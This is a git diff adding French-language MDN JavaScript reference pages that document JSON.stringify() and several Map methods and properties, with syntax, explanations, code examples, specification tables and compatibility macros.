Un objet {{jsxref("String")}} ou {{jsxref("Number")}} qui est utilisé pour insérer des blancs dans la chaîne JSON produite afin de faciliter la lisibilité.
+
+ +
    +
  • Si cet argument est un nombre, il indiquera le nombre d'espaces à utiliser pour l'indentation (la valeur est ramenée à 10 si elle dépasse 10).
    • +
  • Si l'argument est une chaîne, les 10 premiers caractères (ou la chaîne si elle est plus courte) seront utilisés pour les blancs.
    • +
  • Si le paramètre n'est pas fourni (ou s'il est nul), aucun blanc ne sera utilisé.
    • +
+ +

Valeur de retour

+ +

Une chaîne de caractères JSON qui représente la valeur indiquée.

+ +

Exceptions

+ +
    +
  • Cette méthode lève une exception {{jsxref("TypeError")}} (« cyclic object value ») lorsqu'elle trouve une référence circulaire.
    • +
  • Cette méthode lève une exception {{jsxref("TypeError")}} (« BigInt value can't be serialized in JSON ») lorsqu'on tente de convertir une valeur {{jsxref("BigInt")}} en une chaîne de caractères JSON.
    • +
+ +

Description

+ +

La fonction JSON.stringify() convertit un objet en JSON :

+ +
    +
  • L'ordre des propriétés des objets qui ne sont pas des tableaux n'est pas garanti. Par la suite, ne pas supposer que cet ordre soit respecté.
    • +
  • Les objets {{jsxref("Boolean")}}, {{jsxref("Number")}} et {{jsxref("String")}} sont convertis en leur valeur primitive correspondante, en accord avec la sémantique traditionnelle.
    • +
  • Si {{jsxref("undefined")}}, une fonction ou un symbole est rencontré lors de la conversion , il est soit omis ( quand il se trouve dans un objet ) ou ramené à {{jsxref("null")}} ( quand il se trouve dans un tableau). JSON.stringify() peut également renvoyer undefined lorsqu'il reçoit des valeurs « brutes » qui ne sont pas objectifiées comme par exemple JSON.stringify(function(){}) ou JSON.stringify(undefined).
    • +
  • Toutes les propriétés liées aux symboles (cf. {{jsxref("Symbol")}}) seront complètement ignorées , même lorsque la fonction remplaçant est utilisée.
    • +
  • Les propriétés qui ne sont pas énumérables seront ignorées.
    • +
  • Les instances de {{jsxref("Date")}} implémentent la fonction toJSON() en renvoyant une chaîne de caractères (identique à celle renvoyée par date.toISOString()). Aussi, les dates sont traitées comme des chaînes de caractères.
    • +
  • Les nombres {{jsxref("Infinity")}} et {{jsxref("NaN")}}, ainsi que l'objet {{jsxref("null")}} sont traités comme null.
    • +
  • Pour les autres instances d'objets tels que {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} et {{jsxref("WeakSet")}}, seules les propriétés énumérables sont sérialisées.
    • +
+ +
JSON.stringify({});                        // '{}'
+JSON.stringify(true);                      // 'true'
+JSON.stringify("toto");                    // '"toto"'
+JSON.stringify([1, "false", false]);       // '[1,"false",false]'
+JSON.stringify([NaN, null, Infinity]);   // '[null,null,null]'
+JSON.stringify({ x: 5 });                  // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5));
+// '"2006-01-02T23:04:05.000Z"'
+
+// Exemples
+JSON.stringify({x: 5, y: 6});
+// '{"x":5,"y":6}'
+JSON.stringify([new Number(3), new String("false"), new Boolean(false)]);
+// '[3,"false",false]'
+
+// Les tableaux avec des propriétés ne sont pas énumérables
+// et n'ont pas de sens selon JSON
+let a = ["toto", "truc"];
+a["bidule"] = "youpi"; // a:[ 0: "toto", 1: "truc", bidule: "youpi"]
+JSON.stringify(a);
+// '["toto","truc"]'
+
+// Symboles
+JSON.stringify({x: undefined, y: Object, z: Symbol("")});
+// '{}'
+JSON.stringify({[Symbol("toto")]: "toto"});
+// '{}'
+JSON.stringify({[Symbol.for("toto")]: "toto"}, [Symbol.for("toto")]);
+// '{}'
+JSON.stringify({[Symbol.for("toto")]: "toto"}, function (k, v) {
+  if (typeof k === "symbol"){
+    return "a symbol";
+  }
+});
+// '{}'
+JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });
+// '{"x":[10,null,null,null]}'
+
+// Structures de données classiques
+JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]);
+// '[{},{},{},{}]'
+
+// TypedArray
+JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Uint8Array([1]), new Uint8ClampedArray([1]), new Uint16Array([1]), new Uint32Array([1])]);
+// '[{"0":1},{"0":1},{"0":1},{"0":1}]'
+JSON.stringify([new Float32Array([1]), new Float64Array([1])]);
+// '[{"0":1},{"0":1}]'
+
+// toJSON()
+JSON.stringify({ x: 5, y: 6, toJSON(){ return this.x + this.y; } });
+// '11'
+
+// Symbols:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+  if (typeof k === 'symbol') {
+    return 'a symbol';
+  }
+});
+// undefined
+
+// Propriétés non énumérables
+JSON.stringify(Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+// Échec avec BigInt
+JSON.stringify({x: 2n});
+// TypeError: BigInt value can't be serialized in JSON
+
+ +

L'argument remplaçant

+ +

L'argument remplaçant est une fonction ou un tableau. Si c'est une fonction, elle prend deux paramètres : une clé et la valeur qui est traitée pour être convertie en chaîne. L'objet dans lequel la clé a été trouvée sera fourni comme paramètre this pour la fonction. Cette fonction est d'abord appelée avec une chaîne vide comme clé représentant l'objet à transformer puis elle est appelée sur chaque propriété de l'objet ou du tableau à transformer en chaîne. Cette fonction renvoie la valeur à ajouter à la chaîne JSON :

+ +
    +
  • Si la valeur renvoyée est un nombre ({{jsxref("Number")}}), la chaîne correspondante au nombre sera utilisée comme valeur à ajouter à la chaîne pour représenter la valeur de la propriété traitée.
    • +
  • Si la valeur renvoyée est une chaîne de caractères ({{jsxref("String")}}), cette chaîne sera utilisée pour représenter la valeur de la propriété dans la chaîne JSON.
    • +
  • Si la valeur renvoyée est un {{jsxref("Boolean")}}, "true" ou "false" sera utilisé pour représenter la valeur de la propriété et sera ajouté à la chaîne JSON.
    • +
  • Si la valeur renvoyée est null, null sera ajouté à la chaîne JSON.
    • +
  • Si la valeur renvoyée est un autre objet, cet objet sera, de façon récursive, transformé en une chaîne JSON en appelant la fonction remplaçant sur chaque propriété sauf si l'objet est une fonction auquel cas, rien n'est ajouté à la chaîne JSON.
    • +
  • Si la valeur renvoyée est {{jsxref("undefined")}}, la propriété ne sera pas incluse dans la chaîne JSON.
    • +
+ +
Note : la fonction remplaçant ne peut pas être utilisée pour retirer des valeurs d'un tableau. Si on renvoie undefined ou une fonction, ce sera la valeur null qui sera utilisée.
+ +
Note : Si on souhaite que la fonction remplaçant distingue un objet dont une propriété a un clé qui est « réellement » une chaîne vide, il faudra avoir un compteur pour le nombre d'itération. Si le compteur indique que la première itération est passée, alors il s'agit bien d'un clé avec une chaîne vide.
+ +

Exemple avec une fonction

+ +
function remplaçant(clé, valeur) {
+  if (typeof valeur === "string") {
+    return undefined;
+  }
+  return valeur;
+}
+
+var toto = {fondation: "Mozilla", modèle: "boîte", semaine: 45, transport: "bus", mois: 7};
+console.log(JSON.stringify(toto, remplaçant)); // {"semaine":45, "mois":7}
+
+ +

Exemple avec un tableau

+ +

Si remplaçant est un tableau, les valeurs du tableau indiquent les propriétés de l'objet à inclure dans la chaîne JSON.

+ +
JSON.stringify(toto, ['semaine', 'mois']);
+// '{"semaine":45,"mois":7}', on ne garde que "semaines" et "mois"
+
+ +

L'argument espace

+ +

L'argument espace est utilisé pour contrôler les espacements utilisés dans la chaîne finale.

+ +
    +
  • Si c'est un nombre, les différents niveaux d'indentation auront autant d'espaces qu'indiqué grâce à ce paramètre (jusqu'à 10).
    • +
  • Si c'est une chaîne, les dix premiers caractères (ou la chaîne complète si elle est plus courte)
    • +
+ +
JSON.stringify({ a: 2 }, null, ' ');
+// '{
+//  "a": 2
+// }'
+
+ +

Dans l'exemple suivant on utilise la tabulation pour rendre lisible le résultat :

+ +
JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// renverra
+// '{
+//     "uno": 1,
+//     "dos": 2
+// }'
+
+ +

La fonction toJSON()

+ +

Pour personnaliser la valeur d'un objet lors de sa conversion en JSON, on peut surcharger la méthode toJSON() : la valeur retournée par cette méthode toJSON() sera alors utilisée. JSON.stringify() invoquera la méthode toJSON() de l'objet avec un paramètre :

+ +
    +
  • Si cet objet est une propriété de donnée, ce sera le nom de la propriété
    • +
  • Si cet objet est un tableau, ce sera l'indice de l'élément du tableau sous la forme d'une chaîne de caractères
    • +
  • Une chaîne vide si JSON.stringify() était directement appelé sur l'objet.
    • +
+ +

Ainsi :

+ +
var obj = {
+  data: 'data',
+  toJSON(clef){
+    if(clef) {
+      return `Un objet imbriqué sous la clef '${clef}'`;
+    } else {
+      return this;
+    }
+  }
+};
+
+JSON.stringify(obj);
+// '{"data":"data"}'
+
+JSON.stringify({ obj })
+// '{"obj":"Un objet imbriqué sous la clef 'obj'"}'
+
+JSON.stringify([ obj ])
+// '["Un objet imbriqué sous la clef '0'"]'
+
+ +

Le problème des références circulaires

+ +

Le format JSON ne prend pas en charge les références (bien qu'un brouillon IETF existe) et une exception {{jsxref("TypeError")}} sera levée si on tente d'encoder un objet possédant des références circulaires.

+ +
const circularReference = {};
+circularReference.myself = circularReference;
+
+// Sérialiser un objet avec des références circulaires déclenche une "TypeError: cyclic object value"
+JSON.stringify(circularReference);
+
+ +

Pour sérialiser les références circulaires, on peut utiliser une bibliothèque (cycle.js par exemple) ou implémenter sa propre solution (qui consistera à trouver et à remplacer le cycle par des valeurs sérialisables).

+ +

Gestion des terminateurs de ligne

+ +

Par le passé, JSON n'était pas un sous-ensemble strict de JavaScript. En effet, en JSON, deux terminateurs de ligne (le caractère de séparation de ligne U+2028 LINE SEPARATOR et le caractère de séparation de paragraphe U+2029 PARAGRAPH SEPARATOR) n'avaient pas besoin d'être échappés dans des données JSON alors qu'ils devaient l'être en JavaScript. Cela a désormais évolué et les deux points de code peuvent apparaître tant en JSON qu'en JavaScript.

+ +

Ainsi, si on souhaite avoir une compatibilité avec les anciens moteurs JavaScript, on pourra évaluer ou utiliser les données JSON avec JSONP et la fonction utilitaire suivante :

+ +
function jsFriendlyJSONStringify (s) {
+    return JSON.stringify(s).
+        replace(/\u2028/g, '\\u2028').
+        replace(/\u2029/g, '\\u2029');
+}
+
+var s = {
+    a: String.fromCharCode(0x2028),
+    b: String.fromCharCode(0x2029)
+};
+
+// dans Firefox, console.log enlève les échappements
+// des caractères Unicode, on utilise donc alert :(
+alert(jsFriendlyJSONStringify(s)); // {"a":"\u2028","b":"\u2029"}
+ +
+

Notes : Les propriétés des objets qui ne sont pas des tableaux ne sont pas transformées en chaînes de caractères selon un ordre particulier. Aussi, l'ordre des données en JSON ne saurait constituer une information utile.

+
+ +
var a = JSON.stringify({toto: "truc", bidule: "machin"});
+// '{"toto":"truc","bidule":"machin"}'
+var b = JSON.stringify({bidule: "machin", toto: "truc"});
+// '{"bidule":"machin","toto":"truc"}'
+console.log(a !== b); // true
+
+ +

Utiliser JSON.stringify avec localStorage

+ +

Dans le cas où on souhaite enregistrer un objet créé par l'utilisateur afin de le restorer plus tard (y compris après que le navigateur ait été fermé), on peut utiliser JSON.stringify.

+ +
+

Les fonctions n'ont pas de correspondances en JSON, il ne sera donc pas possible de les enregistrer de cette façon. En revanche, elles peuvent être affichées si elles ont été converties en texte avec la fonction de remplacement. De même, certains objets comme les dates seront transformées en chaîne de caractères après l'utilisation de JSON.parse().

+
+ +
// On crée un objet pour l'exemple
+var session = {
+    'screens' : [],
+    'state' : true
+};
+session.screens.push({"name":"screenA", "width":450, "height":250});
+session.screens.push({"name":"screenB", "width":650, "height":350});
+session.screens.push({"name":"screenC", "width":750, "height":120});
+session.screens.push({"name":"screenD", "width":250, "height":60});
+session.screens.push({"name":"screenE", "width":390, "height":120});
+session.screens.push({"name":"screenF", "width":1240, "height":650});
+
+// On convertit l'objet en une chaîne JSON
+// et on enregistre cette valeur avec le nom 'session'
+localStorage.setItem('session', JSON.stringify(session));
+
+// Ici, on reconvertit la chaîne en un objet
+// JSON.stringify and saved in localStorage in JSON object again
+var sessionRestaurée = JSON.parse(localStorage.getItem('session'));
+
+// La variable sessionRestaurée contient désormais l'objet précédent
+// qui avait été sauvegardé dans localStorage
+console.log(sessionRestaurée);
+
+ +

Chaînes bien formées et JSON.stringify()

+ +

Les moteurs, qui implémentent la spécification sur JSON.stringify() bien formé, transformeront en chaîne de caractères les éléments isolés de paires surrogates via des séquences d'échappement Unicode plutôt que d'utiliser leurs valeurs littérales. Avant cette modification de spécification, JSON.stringify() n'aurait pas encodé les éléments surrogates isolés et les chaînes produites n'étaient pas valides selon UTF-8 ou UTF-16 :

+ +
JSON.stringify("\uD800"); // '"�"'
+ +

Avec cette modification, les séquences d'échappement produites permettent d'avoir un contenu UTF-16 ou UTF-8 lisible :

+ +
JSON.stringify("\uD800"); // '"\\ud800"'
+ +

Cette modification est rétrocompatible pour toutes les opérations où le résultat de JSON.stringify() est passé à des API comme JSON.parse() qui acceptent du texte JSON valide. En effet, ces API traiteront les séquences d'échappement de surrogates isolés comme les caractères correspondants. Seul le cas où le code interprète directement le résultat de JSON.stringify() doit être adapté afin de gérer les deux encodages possibles pour ces cas.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.7.
{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.JSON.stringify")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("JSON.parse()")}}
    • +
  • cycle.js qui ajoute deux fonctions JSON.decycle et JSON.retrocycle qui permettent d'encoder et de décoder des structures cycliques.
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.html b/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.html new file mode 100644 index 0000000000..e8e5a27315 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/@@iterator/index.html @@ -0,0 +1,92 @@ +--- +title: 'Map.prototype[@@iterator]()' +slug: Web/JavaScript/Reference/Objets_globaux/Map/@@iterator +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@iterator +--- +
{{JSRef}}
+ +

La valeur initiale de la propriété @@iterator est la même fonction que la valeur initiale de la propriété {{jsxref("Map.prototype.entries()", "entries")}}.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-@@iterator.html")}}
+ + + +

Syntaxe

+ +
maMap[Symbol.iterator]
+ +

Valeur de retour

+ +

La fonction d'itération (le symbole @@iterator) de l'objet, par défaut, c'est la fonction {{jsxref("Map.prototype.entries()","entries()")}}.

+ +

Exemples

+ +

Utiliser [@@iterator]()

+ +
var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = myMap[Symbol.iterator]();
+
+console.log(mapIter.next().value); // ["0", "toto"]
+console.log(mapIter.next().value); // [1, "truc"]
+console.log(mapIter.next().value); // [Object, "bidule"]
+
+ +

Utiliser [@@iterator]() avec for..of

+ +
var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+for (var v of maMap) {
+  console.log(v);
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-map.prototype-@@iterator', 'Map.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.@@iterator")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype.entries()")}}
    • +
  • {{jsxref("Map.prototype.keys()")}}
    • +
  • {{jsxref("Map.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/@@species/index.html b/files/fr/web/javascript/reference/global_objects/map/@@species/index.html new file mode 100644 index 0000000000..edeb984260 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/@@species/index.html @@ -0,0 +1,72 @@ +--- +title: 'get Map[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/Map/@@species +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@species +--- +
{{JSRef}}
+ +

Map[@@species] renvoie le constructeur Map.

+ +

Syntaxe

+ +
Map[Symbol.species]
+
+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les objets Map. Les constructeurs des sous-classes peuvent surcharger ce constructeur afin de modifier ce qui est fait lors de la construction de l'objet et son affectation

+ +

Exemples

+ +

La propriété species renvoie la fonction correspondant au constructeur par défaut. Pour les objets Map, ce sera le constructeur Map :

+ +
Map[Symbol.species]; // function Map()
+ +

Pour des objets dérivés (par exemple un dictionnaire MaMap que vous auriez construit), la propriété species correspondra au constructeur MaMap. Si vous souhaitez surcharger cela pour renvoyer le constructeur parent Map, vous pourrez utiliser :

+ +
class MaMap extends Map {
+  // On surcharge le symbole species de MaMap
+  // avec le constructeur Map parent
+  static get [Symbol.species]() { return Map; }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-get-map-@@species', 'get Map [ @@species ]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-map-@@species', 'get Map [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.@@species")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.html b/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.html new file mode 100644 index 0000000000..f413bff206 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/@@tostringtag/index.html @@ -0,0 +1,57 @@ +--- +title: 'Map.prototype[@@toStringTag]()' +slug: Web/JavaScript/Reference/Objets_globaux/Map/@@toStringTag +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag +--- +
{{JSRef}}
+ +

La propriété Map[@@toStringTag] vaut "Map" initialement.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-@@tostringtag.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Syntaxe

+ +
Map[Symbol.toStringTag]
+ +

Exemple

+ +
Object.prototype.toString.call(new Map()) // "[object Map]"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.@@toStringTag")}}

diff --git a/files/fr/web/javascript/reference/global_objects/map/clear/index.html b/files/fr/web/javascript/reference/global_objects/map/clear/index.html new file mode 100644 index 0000000000..b24da02228 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/clear/index.html @@ -0,0 +1,78 @@ +--- +title: Map.prototype.clear() +slug: Web/JavaScript/Reference/Objets_globaux/Map/clear +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear +--- +
{{JSRef}}
+ +

La méthode clear() supprime tous les éléments d'un objet Map.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}
+ + + +

Syntaxe

+ +
maMap.clear();
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}.

+ +

Exemple

+ +

Utiliser la méthode clear()

+ +
var maMap = new Map();
+maMap.set("truc", "bidule");
+maMap.set(1, "toto");
+
+maMap.size;        // 2
+maMap.has("truc"); // true
+
+maMap.clear();
+
+maMap.size;        // 0
+maMap.has("truc")  // false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.clear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/delete/index.html b/files/fr/web/javascript/reference/global_objects/map/delete/index.html new file mode 100644 index 0000000000..53ff3fdb23 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/delete/index.html @@ -0,0 +1,77 @@ +--- +title: Map.prototype.delete() +slug: Web/JavaScript/Reference/Objets_globaux/Map/delete +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete +--- +
{{JSRef}}
+ +

La méthode delete() permet de retirer un élément donné d'un objet Map grâce à sa clé.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}
+ + + +

Syntaxe

+ +
maMap.delete(clé);
+ +

Paramètres

+ +
+
clé
+
Ce paramètre obligatoire correspond à la clé de l'élément qu'on souhaite retirer de l'objet Map.
+
+ +

Valeur de retour

+ +

Un booléen. La méthode renvoie true si un élément de l'objet Map a bien été retiré ou false si l'élément n'existe pas.

+ +

Exemples

+ +
var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.delete("truc"); // Renvoie true. La suppression est OK.
+maMap.has("truc");    // Renvoie false. "truc" n'est plus présent.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.delete")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/entries/index.html b/files/fr/web/javascript/reference/global_objects/map/entries/index.html new file mode 100644 index 0000000000..993b5d9272 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/entries/index.html @@ -0,0 +1,81 @@ +--- +title: Map.prototype.entries() +slug: Web/JavaScript/Reference/Objets_globaux/Map/entries +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries +--- +
{{JSRef}}
+ +

La méthode entries() renvoie un objet Iterator qui contient les paires [clé, valeur] pour chaque élément de l'objet Map, dans leur ordre d'insertion.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}
+ + + +

Syntaxe

+ +
maMap.entries()
+ +

Valeur de retour

+ +

Un nouvel objet Iterator {{jsxref("Map")}}.

+ +

Exemple

+ +

Utiliser entries()

+ +
var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = maMap.entries();
+
+console.log(mapIter.next().value); // ["0", "toto"]
+console.log(mapIter.next().value); // [1, "truc"]
+console.log(mapIter.next().value); // [Object, "bidule"]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ES2015')}}Défintion initiale.
{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.entries")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype.keys()")}}
    • +
  • {{jsxref("Map.prototype.values()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/foreach/index.html b/files/fr/web/javascript/reference/global_objects/map/foreach/index.html new file mode 100644 index 0000000000..5690c4f53b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/foreach/index.html @@ -0,0 +1,105 @@ +--- +title: Map.prototype.forEach() +slug: Web/JavaScript/Reference/Objets_globaux/Map/forEach +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach +--- +
{{JSRef}}
+ +

La méthode forEach() exécute une fonction donnée sur chaque élément clé-valeur de l'objet Map dans l'ordre d'insertion.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}
+ + + +

Syntaxe

+ +
maMap.forEach(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter pour chaque élément.
+
thisArg
+
La valeur à utiliser comme contexte this lors de l'exécution de callback.
+
+ +

Valeur de retour

+ +

{{jsxref("undefined")}}

+ +

Description

+ +

La méthode forEach exécute la fonction callback donnée sur chacune des clés qui existe. Elle n'est pas appelée pour les clés qui ont été supprimées. En revanche, elle est appelée pour les valeurs qui sont présentes mais qui sont égales à undefined.

+ +

callback est appelé avec trois arguments :

+ +
    +
  • la valeur de l'élément
    • +
  • la clé de l'élément
    • +
  • l'objet Map parcouru
    • +
+ +

Si un argument thisArg est fourni à la méthode forEach, il sera passé au callback quand il sera appelé et celui-ci l'utilisera comme valeur this. Dans les autres cas, la valeur undefined sera utilisée comme contexte this. La valeur this observée par la fonction callback est déterminée selon les règles appliquées à l'opérateur this.

+ +

Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de forEach. callback n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que forEach ait parcouru l'ensemble seront traitées.

+ +

forEach exécute la fonction callback une fois pour chaque élément de l'objet Map : il ne renvoie pas de valeur.

+ +

Exemples

+ +

Le fragment de code suivant enregistre une ligne pour chaque élément d'un objet Map :

+ +
function logMapElements(valeur, clé, map) {
+    console.log(`map.get('${clé}') = ${value}`);
+}
+
+
+new Map([["toto", 3], ["truc", {}], ["bidule", undefined]]).forEach(logMapElements);
+// affichera dans la console :
+// "map.get('toto') = 3"
+// "map.get('truc') = [object Object]"
+// "map.get('bidule') = undefined"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.forEach")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Set.prototype.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/map/get/index.html b/files/fr/web/javascript/reference/global_objects/map/get/index.html new file mode 100644 index 0000000000..6f1e5dc37e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/map/get/index.html @@ -0,0 +1,79 @@ +--- +title: Map.prototype.get() +slug: Web/JavaScript/Reference/Objets_globaux/Map/get +tags: + - ECMAScript 2015 + - JavaScript + - Map + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/get +--- +
{{JSRef}}
+ +

La méthode get() renvoie un élément précisé d'un objet Map. Si la valeur associée à la clé fournie est un objet, alors on obtient une référence à cet objet et tous changements apporté à cet objet sera aussi visible à l'intérieur de l'objet Map.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}
+ + + +

Syntaxe

+ +
maMap.get(clé)
+ +

Paramètres

+ +
+
clé
+
La clé de l'élément à renvoyer depuis l'objet Map.
+
+ +

Valeur de retour

+ +

L'élément associée à la clé donnée ou {{jsxref("undefined")}} si la clé ne fait pas partie de l'objet Map.

+ +

Exemples

+ +
var maMap = new Map();
+maMap.set("truc", "toto");
+
+maMap.get("truc");     // Renvoie "toto".
+maMap.get("machin");   // Renvoie undefined.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Map.get")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Map.prototype.set()")}}
    • +
  • {{jsxref("Map.prototype.has()")}}
    • +
